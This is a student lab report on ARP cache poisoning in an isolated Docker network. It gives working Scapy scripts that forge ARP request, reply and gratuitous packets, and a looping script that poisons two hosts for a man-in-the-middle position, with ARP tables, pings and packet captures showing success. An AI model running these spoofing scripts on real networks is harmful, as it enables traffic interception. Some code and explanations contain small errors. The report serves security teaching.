

# Network Security Assignment 3

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| Host Machine         | IP address | MAC address       | Docker id    |
|----------------------|------------|-------------------|--------------|
| A - SEED Ubuntu      | 10.9.0.5   | 02:42:0a:09:00:05 | a9e8d4a4a196 |
| B - SEED Ubuntu      | 10.9.0.6   | 02:42:0a:09:00:06 | 926779ef30ee |
| M - Attacker Machine | 10.9.0.105 | 02:42:0a:09:00:69 | 0c7a43f41797 |

## TASK - 1 ARP Cache Poisoning

In this Attack, the goal is to intercept the communication between two host machines A and B. Host machine M is the attacker which will intercept the network using ARP cache poisoning method.

ARP cache poisoning can be carried out in 3 different ways as follows.

**Task 1.A (using ARP request).** On host M, construct an ARP request packet to map B's IP address to M's MAC address. Send the packet to A and check whether the attack is successful or not.

**Below is the code used to send poisoned ARP packets from Host Machine M.**

```
GNU nano 4.8                                         task1.py
#!/usr/bin/env python3
from scapy.all import ARP, Ether, sendp

def send_arp_request(src_ip, src_mac, target_ip, target_mac):
    # Create an ARP request packet
    E = Ether(src=src_mac, dst=target_mac)
    A = ARP(hwsrc=src_mac, psrc=src_ip, pdst=target_ip)
    A.op = 1
    pkt = E/A
    pkt.show()
    # Send the ARP request packet
    sendp(pkt)

def main():
    # Host M's information
    m_ip = "10.9.0.105"
    m_mac = "02:42:0a:09:00:69"

    # Host B's information
    b_ip = "10.9.0.6"
    b_mac = "02:42:0a:09:00:06"

    # Host A's information
    a_ip = "10.9.0.5"
    a_mac = "02:42:0a:09:00:05"

    # Construct and send ARP request from M to A
    send_arp_request(b_ip, m_mac, a_ip, a_mac)

if __name__ == "__main__":
    main()
```

Attacker M transmitted machine A a packet that mapped B's IP address to M's Mac address.

The goal of an ARP request is to notify every device connected to the local network segment. Therefore A.op field is set to 1 indication it is an ARP Request. It is necessary to make sure that A is a member of the packet network, receives, and processes ARP packet requests sent to it by M. based on the below figure. The ARP configuration guarantees that the ARP cache entry in A's table is initiated, while the ether dest and src verify that the source is host M and the destination is A. After being combined, the ARP request was set, and the Ethernet and ARP packets were transmitted. All the other parameters except source and destination MAC and IP were set to default.

```
root@ubuntu-seed-labs:~/Labsetup/volumes# nano task1.py
root@ubuntu-seed-labs:~/Labsetup/volumes# python3 task1.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:0a:09:00:69
type    = ARP
###[ ARP ]###
hwtype   = Ethernet (10Mb)
ptype    = IPv4
hwlen    = None
plen     = None
op       = who-has
hwsrc   = 02:42:0a:09:00:69
psrc    = 10.9.0.6
hwdst   = 00:00:00:00:00:00
pdst    = 10.9.0.5

Sent 1 packets.
```

The ARP cache was checked before and after the transmission occurred from M.

Below pictures shows that a new entry was added to A's cache table mapping M's MAC to B's IP.

#### Before Cache poisoning: (Host Machine A)

```
root@a9e8d4a4a196:/# arp -n
```

#### After Cache Poisoning:(Host Machine A)

| Address  | Hwtype | Hwaddress         | Flags | Mask | Iface |
|----------|--------|-------------------|-------|------|-------|
| 10.9.0.6 | ether  | 02:42:0a:09:00:69 | C     |      | eth0  |

#### Observation:

The code was successful in poisoning the ARP cache. Since our goal was to poison the cache of only Host Machine A. instead of Broadcasting the packet. A targeted packet was sent to Host A. with Arp.op as 1 which indicates that it is an ARP request.

Send\_arp\_request function is taking two 4 arguments, source MAC and IP and Target MAC and IP.

Source IP is given as B's IP and MAC is given as M's MAC.

E hold a Ethernet packet with source and dest MAC populated.

A holds ARP request with all necessary field populated.  
Then A is appended to E .  
Sendp sends this packet to A.  
A upon receiving this packet will populate its cache table.

**Task 1.B (using ARP reply).** On host M, construct an ARP reply packet to map B's IP address to M's MAC address. Send the packet to A and check whether the attack is successful or not.

```
#!/usr/bin/env python3
from scapy.all import *

def send_arp_response(src_ip, src_mac, target_ip, target_mac):
    # Create an ARP request packet
    E = Ether(src=src_mac, dst=target_mac)
    A = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=target_mac, pdst=target_ip)
    A.op = "is-at"
    pkt = E/A
    pkt.show()
    # Send the ARP request packet
    sendp(pkt)

def main():
    # Host M's information
    m_ip = "10.9.0.105"
    m_mac = "02:42:0a:09:00:69"

    # Host B's information
    b_ip = "10.9.0.6"
    b_mac = "02:42:0a:09:00:06"

    # Host A's information
    a_ip = "10.9.0.5"
    a_mac = "02:42:0a:09:00:05"

    # Construct and send ARP request from M to A
    send_arp_response(b_ip, m_mac, a_ip, a_mac)

if __name__ == "__main__":
    main()
```

In the above code the ARP packets OP field is mentioned as “is-at” indicating its a reply packet.

### Scenario 1: B's IP is already in A's cache.

```
. Sent 1 packets.
root@0c7a43f41797:/volumes# python3 task2.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:0a:09:00:69
type     = ARP
###[ ARP ]###
hwtype   = 0x1
ptype    = IPv4
hwlen    = None
plen     = None
op       = is-at
hwsrc   = 02:42:0a:09:00:69
psrc    = 10.9.0.6
hwdst   = 02:42:0a:09:00:05
pdst    = 10.9.0.5

. Sent 1 packets.
root@0c7a43f41797:/volumes#
```

## ARP cache in Host Machine A before and after Attack.

```
root@a9e8d4a4a196:/# arp -n
Address          HWtype  HWaddress          Flags Mask      Iface
10.9.0.6        ether    02:42:0a:09:00:06  C          eth0
root@a9e8d4a4a196:/#
root@a9e8d4a4a196:/#
root@a9e8d4a4a196:/# arp -n
Address          HWtype  HWaddress          Flags Mask      Iface
10.9.0.6        ether    02:42:0a:09:00:69  C          eth0
root@a9e8d4a4a196:/#
```

### Conclusion:

When the Task2 code is executed, A already has B's IP address in its cache. It will go ahead and update its entry upon receiving the reply packet.

As a result when we check for ARP cache in Host machine A after the cache poisoning packet is sent, we can find B's IP mapped to M's MAC address.

## Scenario 2: B's IP is not in A's cache.

This time the same code as Scenario 1 was run but also ensuring that B's ip address was not included in A using the command "arp - d b\_ip". arp -n was run on A to ensure the tables were empty and the Arp cache poisoning was made and the packets were sent from M to A\_ip with B ip\_mapped to M\_mac.

### A's ARP cache Before cache poisoning.

```
root@a9e8d4a4a196:/# arp -n
root@a9e8d4a4a196:/#
root@a9e8d4a4a196:/#
```

### After ARP cache poisoning:

Once the ARP cache poisoning program code was run on host machine M. The ARP packets were sent as in fig below. It can be observed that the defaults are the defined parameters were set, which could be viewed with pkt.show() and keynotes from machines A and B were checked before and after attack.

```
Sent 1 packets.
root@0c7a43f41797:/volumes# python3 task2.py
###[ Ethernet ]###
dst      = 02:42:0a:09:00:05
src      = 02:42:0a:09:00:69
type     = ARP
###[ ARP ]###
hwtype   = 0x1
ptype    = IPv4
hwlen    = None
plen     = None
op       = is-at
hwsrc   = 02:42:0a:09:00:69
psrc    = 10.9.0.6
hwdst   = 02:42:0a:09:00:05
pdst    = 10.9.0.5

.
Sent 1 packets.
root@0c7a43f41797:/volumes#
```

### On Host Machine A:

```
root@a9e8d4a4a196:/# arp -n
root@a9e8d4a4a196:/#
root@a9e8d4a4a196:/#
```

## Conclusion:

Even though the same code as scenario 1 was run. Since A's cache did not have any existing entry of B's IP, even though it received the reply packet. There was nothing for it to update on. Since it was a reply packet. A's machine did not add a new entry into it.

**Task 1.C (using ARP gratuitous message).** On host M, construct an ARP gratuitous packet, and use it to map B's IP address to M's MAC address.

```
GNU nano 4.8                                         task3.py
#!/usr/bin/env python3
from scapy.all import *

def send_arp_response(src_ip, src_mac, target_ip, target_mac):
    # Create an ARP request packet
    E = Ether(src=src_mac, dst=target_mac)
    A = ARP(hwsrc=src_ip, psrc=src_ip, hwdst=target_mac, pdst=target_ip)
    A.op = 1
    pkt = E/A
    pkt.show()
    # Send the ARP request packet
    sendp(pkt)

def main():
    # Host M's information
    m_ip = "10.9.0.105"
    m_mac = "02:42:0a:09:00:69"

    # Host B's information
    b_ip = "10.9.0.6"
    b_mac = "02:42:0a:09:00:06"

    # Host A's information
    a_ip = "10.9.0.5"
    a_mac = "02:42:0a:09:00:05"

    # Construct and send ARP request from M to A
    send_arp_response(b_ip, m_mac, b_ip, "ff:ff:ff:ff:ff:ff")

if __name__ == "__main__":
    main()
```

ARP gracious packet is a special kind of packet which does not specify a destination, instead broadcasts the message.

```
root@0c7a43f41797:/volumes# python3 task3.py
###[ Ethernet ]###
dst      = ff:ff:ff:ff:ff:ff
src      = 02:42:0a:09:00:69
type     = ARP
###[ ARP ]###
    hwtype   = 0x1
    ptype    = IPv4
    hwlen    = None
    plen     = None
    op       = who-has
    hwsrc   = 02:42:0a:09:00:69
    psrc    = 10.9.0.6
    hwdst   = ff:ff:ff:ff:ff:ff
    pdst    = 10.9.0.6

.
Sent 1 packets.
```

## Scenario 1: B's IP is already in A's cache

Once the packet was sent. Below is the modification that happened in both machine A and B.

### Host A's Machine:

```
root@a9e8d4a4a196:/# arp -n
Address          HWtype  HWaddress           Flags Mask      Iface
10.9.0.1         ether    02:42:3c:07:81:d2  C        eth0
10.9.0.6         ether    02:42:0a:09:00:06  C        eth0
root@a9e8d4a4a196:/# arp -n
Address          HWtype  HWaddress           Flags Mask      Iface
10.9.0.1         ether    02:42:3c:07:81:d2  C        eth0
10.9.0.6         ether    02:42:0a:09:00:69  C        eth0
root@a9e8d4a4a196:/#
```

### Host Machine B:

```
root@926779ef30ee:/# arp -n
Address          HWtype  HWaddress           Flags Mask      Iface
10.9.0.5         ether    02:42:0a:09:00:05  C        eth0
root@926779ef30ee:/# arp -n
Address          HWtype  HWaddress           Flags Mask      Iface
10.9.0.5         ether    02:42:0a:09:00:05  C        eth0
root@926779ef30ee:/#
```

### Observation:

Since the broadcast packet had host IP as B's IP, even though both A and B received the broadcast packet. Only A ended up updating the values. And Host machine B ignored it, since the host ip was its own.

## Scenario 2: B's IP is not in A's cache.

This time the same code as Scenario 1 was run but also ensuring that B's ip address was not included in A and A's IP address was not included in B using the command “arp - d ip ”. arp -n was run on A and B to ensure the tables were empty and the Arp cache poisoning was made and the packets were sent from M to A\_ip with B ip\_mapped to M\_mac.

```
root@0c7a43f41797:/volumes# python3 task3.py
###[ Ethernet ]###
dst      = ff:ff:ff:ff:ff:ff
src      = 02:42:0a:09:00:69
type     = ARP
###[ ARP ]###
    hwtype   = 0x1
    ptype    = IPv4
    hwlen    = None
    plen     = None
    op       = who-has
    hwsrc   = 02:42:0a:09:00:69
    psrc    = 10.9.0.6
    hwdst   = ff:ff:ff:ff:ff:ff
    pdst    = 10.9.0.6

.
Sent 1 packets.
```

### Host Machine A:

```
root@a9e8d4a4a196:/#  
root@a9e8d4a4a196:/# arp -n  
root@a9e8d4a4a196:/#  
root@a9e8d4a4a196:/# arp -n  
root@a9e8d4a4a196:/#
```

### Host Machine B:

```
root@926779ef30ee:/#  
root@926779ef30ee:/# arp -n  
root@926779ef30ee:/#  
root@926779ef30ee:/# arp -n  
root@926779ef30ee:/#  
root@926779ef30ee:/#
```

### Conclusion:

Even though the same code as scenario 1 was run. Since A's cache did not have any existing entry of B's IP. even though it received the broadcast packet. There was nothing for it to update on. Since it was a reply packet. A's machine did not add a new entry into it.

## Task 2: MITM Attack on Telnet using ARP Cache Poisoning

**Step-1: Attacking ARP caches:** In this phase, Host M manipulated the ARP caches of both Hosts A and B to launch an ARP cache poisoning attack. In order to map B's IP address to M's MAC address in A's ARP cache and A's IP address to M's MAC address in B's ARP cache, this was accomplished by forging ARP packets.

```
GNU nano 4.8  
MITM1.py  
#!/usr/bin/env python3  
from scapy.all import ARP, Ether, sendp  
import time  
  
def send_arp_request(src_ip, src_mac, target_ip, target_mac):  
    # Create an ARP request packet  
    E = Ether(src=src_mac, dst=target_mac)  
    A = ARP(hwsrc=src_ip, psrc=src_ip, pdst=target_ip)  
    A.op = 1  
    pkt = E/A  
    # Send the ARP request packet  
    sendp(pkt)  
  
def main():  
    # Host M's information  
    m_ip = "10.9.0.105"  
    m_mac = "02:42:0a:09:00:69"  
  
    # Host B's information  
    b_ip = "10.9.0.6"  
    b_mac = "02:42:0a:09:00:06"  
  
    # Host A's information  
    a_ip = "10.9.0.5"  
    a_mac = "02:42:0a:09:00:05"  
  
    # Construct and send ARP request from M to A  
    for i in range(100):  
        send_arp_request(a_ip, m_mac, b_ip, b_mac)  
        send_arp_request(b_ip, m_mac, a_ip, a_mac)  
        time.sleep(5)  
  
if __name__ == "__main__":  
    main()
```

The script simulated an ARP spoofing attack, where the attacker (Host M) sends falsified ARP reply packets to hosts A and B, associating their IP addresses with the MAC address of the attacker.

The packets were sent every 5 seconds to avoid actual machine replacing the poisoned cache with correct entries.

```
root@0c7a43f41797:/volumes# nano MITM1.py
root@0c7a43f41797:/volumes# python3 MITM1.py
.
Sent 1 packets.
```

### On Host Machine A:

```
root@a9e8d4a4a196:# arp -n
Address          HWtype  HWaddress          Flags Mask      Iface
10.9.0.1         ether    02:42:3c:07:81:d2  C          eth0
root@a9e8d4a4a196:# arp -n
Address          HWtype  HWaddress          Flags Mask      Iface
10.9.0.1         ether    02:42:3c:07:81:d2  C          eth0
10.9.0.6         ether    02:42:0a:09:00:69  C          eth0
root@a9e8d4a4a196:#
```

### On Host Machine B:

```
root@926779ef30ee:# arp -n
root@926779ef30ee:# arp -n
root@926779ef30ee:# arp -n
Address          HWtype  HWaddress          Flags Mask      Iface
10.9.0.5         ether    02:42:0a:09:00:69  C          eth0
root@926779ef30ee:#
```

**Result:** It was possible to successfully poison the ARP cache on A and B, resulting in fictitious IP address and MAC address mappings.

### Step-2: Testing

Upon successful ARP cache poisoning, a test was conducted by attempting to ping each other between Hosts A and B

## Turn off Ip forwarding:

```
root@0c7a43f41797:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
root@0c7a43f41797:/volumes#
```

## Host machine B:

```
root@926779ef30ee:/#
root@926779ef30ee:/#
root@926779ef30ee:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=28 ttl=64 time=0.181 ms
64 bytes from 10.9.0.5: icmp_seq=38 ttl=64 time=0.183 ms
^C
--- 10.9.0.5 ping statistics ---
41 packets transmitted, 2 received, 95.1219% packet loss, time 40949ms
rtt min/avg/max/mdev = 0.181/0.182/0.183/0.001 ms
root@926779ef30ee:/#
```

## Host Machine A:

```
root@a9e8d4a4a196:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.136 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.088 ms
64 bytes from 10.9.0.6: icmp_seq=11 ttl=64 time=0.086 ms
64 bytes from 10.9.0.6: icmp_seq=12 ttl=64 time=0.105 ms
64 bytes from 10.9.0.6: icmp_seq=13 ttl=64 time=0.103 ms
^C
--- 10.9.0.6 ping statistics ---
16 packets transmitted, 5 received, 68.75% packet loss, time 15360ms
rtt min/avg/max/mdev = 0.086/0.103/0.136/0.017 ms
root@a9e8d4a4a196:/#
```

## Result:

When we turn IP forwarding off. The packets sent from A or B to M will not get any reply from M. this is the reason in both the pings we can see a high rate of packet loss. When the Host machine doesn't get any reply. It checks if the MAC address is right or not. And it sends an ARP broadcast to do this. And a real machine will receive this and will try to reply to the ARP request. This is the reason few of the packets got a reply.

Continuously sending poisoned packets decreases the chance of this happening. This activity can be seen in wireshark.

|  |                   |      |  |
|--|-------------------|------|--|
| 593 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=103/26368, ttl=64 (no res...   |
| 594 2023-11-18 14:21.. 02:42:0a:09:00:05 | 02:42:0a:09:00:06 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5                                   |
| 595 2023-11-18 14:21.. 02:42:0a:09:00:06 | 02:42:0a:09:00:05 | ARP  | 42 10.9.0.6 is at 02:42:0a:09:00:06                                  |
| 596 2023-11-18 14:21.. 02:42:0a:09:00:05 | 02:42:0a:09:00:06 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5                                   |
| 597 2023-11-18 14:21.. 02:42:0a:09:00:05 | 02:42:0a:09:00:05 | ARP  | 42 10.9.0.6 is at 02:42:0a:09:00:05                                  |
| 598 2023-11-18 14:21.. 02:42:0a:09:00:69 | 02:42:0a:09:00:05 | ARP  | 42 Who has 10.9.0.5? Tell 10.9.0.6 (duplicate use of 10.9.0.6 de...  |
| 599 2023-11-18 14:21.. 02:42:0a:09:00:05 | 02:42:0a:09:00:69 | ARP  | 42 10.9.0.5 is at 02:42:0a:09:00:05 (duplicate use of 10.9.0.6 de... |
| 600 2023-11-18 14:21.. 02:42:0a:09:00:69 | 02:42:0a:09:00:05 | ARP  | 42 Who has 10.9.0.5? Tell 10.9.0.6 (duplicate use of 10.9.0.6 de...  |
| 601 2023-11-18 14:21.. 02:42:0a:09:00:05 | 02:42:0a:09:00:69 | ARP  | 42 10.9.0.5 is at 02:42:0a:09:00:05 (duplicate use of 10.9.0.6 de... |
| 602 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=104/26624, ttl=64 (reply ...   |
| 603 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=104/26624, ttl=64 (reques...     |
| 604 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=104/26624, ttl=64                |
| 605 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=104/26624, ttl=64 (no res...   |
| 606 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=105/26880, ttl=64                |
| 607 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=105/26880, ttl=64 (reply ...   |
| 608 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=105/26880, ttl=64 (reques...     |
| 609 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=105/26880, ttl=64 (no res...   |
| 610 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=106/27136, ttl=64 (no res...   |
| 611 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=106/27136, ttl=64 (reply ...   |
| 612 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=106/27136, ttl=64 (reques...     |
| 613 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=106/27136, ttl=64                |
| 614 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=107/27392, ttl=64                |
| 615 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=107/27392, ttl=64 (reply ...   |
| 616 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=107/27392, ttl=64 (reques...     |
| 617 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=107/27392, ttl=64 (no res...   |
| 618 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=108/27648, ttl=64                |
| 619 2023-11-18 14:21.. 02:42:0a:09:00:69 | 02:42:0a:09:00:06 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 de...  |
| 620 2023-11-18 14:21.. 02:42:0a:09:00:06 | 02:42:0a:09:00:69 | ARP  | 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 de... |
| 621 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=108/27648, ttl=64 (reply ...   |
| 622 2023-11-18 14:21.. 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) reply id=0x0006, seq=108/27648, ttl=64 (reques...     |
| 623 2023-11-18 14:21.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=108/27648, ttl=64 (no res...   |
| 624 2023-11-18 14:21.. 02:42:0a:09:00:69 | 02:42:0a:09:00:06 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 de...  |
| 625 2023-11-18 14:21.. 02:42:0a:09:00:06 | 02:42:0a:09:00:69 | ARP  | 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 de... |
| 626 2023-11-18 14:22.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=109/27904, ttl=64 (no res...   |
| 627 2023-11-18 14:22.. 02:42:0a:09:00:05 | 02:42:0a:09:00:69 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5                                   |
| 628 2023-11-18 14:22.. 02:42:0a:09:00:05 | 02:42:0a:09:00:69 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5                                   |
| 629 2023-11-18 14:22.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=109/27904, ttl=64 (no res...   |
| 630 2023-11-18 14:22.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=110/28160, ttl=64 (no res...   |
| 631 2023-11-18 14:22.. 02:42:0a:09:00:05 | 02:42:0a:09:00:69 | ARP  | 42 Who has 10.9.0.6? Tell 10.9.0.5                                   |
| 632 2023-11-18 14:22.. 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) request id=0x0006, seq=110/28160, ttl=64 (no res...   |

### Step-3:

IP forwarding on Host M was enabled to facilitate packet forwarding between A and B.

```
root@0c7a43f41797:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@0c7a43f41797:/volumes#
```

And start running the program again

```
root@0c7a43f41797:/volumes# nano MITM1.py
root@0c7a43f41797:/volumes# python3 MITM1.py
.
sent 1 packets.
```

Try pinging each other from Host machine A and B.

### Host Machine B:

```
root@926779ef30ee:/#
root@926779ef30ee:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.391 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.105 ms
From 10.9.0.105 icmp_seq=3 Redirect Host(New nexthop: 5.0.9.10)
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.165 ms
^C
--- 10.9.0.5 ping statistics ---
3 packets transmitted, 3 received, +1 errors, 0% packet loss, time 2040ms
rtt min/avg/max/mdev = 0.105/0.220/0.391/0.123 ms
root@926779ef30ee:/#
```

### Host Machine A:

```
root@a9e8d4a4a196:/#
root@a9e8d4a4a196:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.119 ms
From 10.9.0.105 icmp_seq=2 Redirect Host(New nexthop: 6.0.9.10)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.129 ms
From 10.9.0.105 icmp_seq=3 Redirect Host(New nexthop: 6.0.9.10)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.146 ms
From 10.9.0.105 icmp_seq=4 Redirect Host(New nexthop: 6.0.9.10)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.139 ms
From 10.9.0.105 icmp_seq=5 Redirect Host(New nexthop: 6.0.9.10)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.118 ms
^C
--- 10.9.0.6 ping statistics ---
5 packets transmitted, 5 received, +4 errors, 0% packet loss, time 4085ms
rtt min/avg/max/mdev = 0.118/0.130/0.146/0.011 ms
root@a9e8d4a4a196:/#
```

## Result:

Since the ip forwarding was on. All the ICMP packets sent by Host A or B were reaching the destination and were getting proper replies. Hence we can see in both the machines there was no packet loss. The redirection can also be observed in the wireshark capture as follows.

|   |                   |      |                                    |   |
|---|-------------------|------|------------------------------------|---|
| 817 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 818 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=3/768, ttl=63                  |
| 819 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=3/768, ttl=64 (reply in ...)   |
| 820 2023-11-18 14:31... 10.9.0.105        | 10.9.0.5          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 821 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=3/768, ttl=63 (request in ...) |
| 822 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=3/768, ttl=63 (reply in 8...)  |
| 823 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=3/768, ttl=64 (request in ...) |
| 824 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 825 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=4/1024, ttl=64 (no respons...) |
| 826 2023-11-18 14:31... 10.9.0.105        | 10.9.0.5          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 827 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=4/1024, ttl=63 (reply in ...)  |
| 828 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=4/1024, ttl=64 (request i...)  |
| 829 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 830 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=4/1024, ttl=63                 |
| 831 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=4/1024, ttl=63 (reply in ...)  |
| 832 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=4/1024, ttl=64 (request i...)  |
| 833 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 834 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=4/1024, ttl=64 (reply in ...)  |
| 835 2023-11-18 14:31... 10.9.0.105        | 10.9.0.5          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 836 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=4/1024, ttl=63 (request i...)  |
| 837 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=5/1280, ttl=64 (no respons...) |
| 838 2023-11-18 14:31... 10.9.0.105        | 10.9.0.5          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 839 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=5/1280, ttl=63 (reply in ...)  |
| 840 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=5/1280, ttl=64 (request i...)  |
| 841 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 842 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=5/1280, ttl=63                 |
| 843 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=5/1280, ttl=64 (reply in ...)  |
| 844 2023-11-18 14:31... 10.9.0.105        | 10.9.0.5          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 845 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=5/1280, ttl=63 (request i...)  |
| 846 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=5/1280, ttl=63 (reply in ...)  |
| 847 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=5/1280, ttl=64 (request i...)  |
| 848 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 849 2023-11-18 14:31... 10.9.0.5          | 10.9.0.6          | ICMP | 98 Echo (ping) request             | id=0x0007, seq=6/1536, ttl=63 (reply in ...)  |
| 850 2023-11-18 14:31... 10.9.0.6          | 10.9.0.5          | ICMP | 98 Echo (ping) reply               | id=0x0007, seq=6/1536, ttl=64 (request i...)  |
| 851 2023-11-18 14:31... 10.9.0.105        | 10.9.0.6          | ICMP | 126 Redirect                       | (Redirect for host)                           |
| 852 2023-11-18 14:31... 02:42:0a:09:00:06 | 02:42:0a:09:00:69 | ARP  | 42 Who has 10.9.0.5? Tell 10.9.0.6 |   |
